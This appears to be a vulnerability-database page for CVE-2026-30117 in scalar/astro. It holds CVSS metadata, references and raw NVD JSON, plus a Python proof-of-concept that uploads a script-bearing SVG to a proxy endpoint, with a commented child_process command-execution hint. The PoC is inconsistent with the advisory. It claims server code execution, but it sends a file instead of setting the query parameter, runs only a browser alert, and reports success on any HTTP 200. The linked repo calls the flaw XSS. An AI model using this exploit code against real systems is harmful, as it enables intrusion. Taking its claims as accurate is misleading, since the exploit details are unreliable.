CVE-2026-30117

Description

scalar/astro v0.1.13 was discovered to contain an arbitrary file upload vulnerability in the the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows attackers to execute arbitrary code via uploading a crafted SVG file.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

scalar/astro v0.1.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-30117
import requests

target = "http://vulnerable-host/proxy"

# Malicious SVG payload intended for code execution
svg_payload = """<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
    <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
    <script type="text/javascript">
        // Arbitrary code execution payload
        // Example: require('child_process').exec('whoami');
        alert('Vulnerable to CVE-2026-30117');
    </script>
</svg>"""

# Exploit the scalar_url parameter
files = {'scalar_url': ('exploit.svg', svg_payload, 'image/svg+xml')}
response = requests.post(target, files=files)

if response.status_code == 200:
    print("[+] Exploit sent successfully!")
    print("[+] Check the server for code execution.")
else:
    print("[-] Exploit failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30117
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30117
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30117/
[4] VulDB https://vuldb.com/cve/CVE-2026-30117
[5] https://github.com/prassan10/XSS-Open-Redirect-via-scalar_url

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30117", "sourceIdentifier": "[email protected]", "published": "2026-05-19T16:16:19.980", "lastModified": "2026-05-20T14:16:39.693", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "scalar/astro v0.1.13 was discovered to contain an arbitrary file upload vulnerability in the the scalar_url query parameter of the Scalar Proxy endpoint. This vulnerability allows attackers to execute arbitrary code via uploading a crafted SVG file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/prassan10/XSS-Open-Redirect-via-scalar_url", "source": "[email protected]"}]}}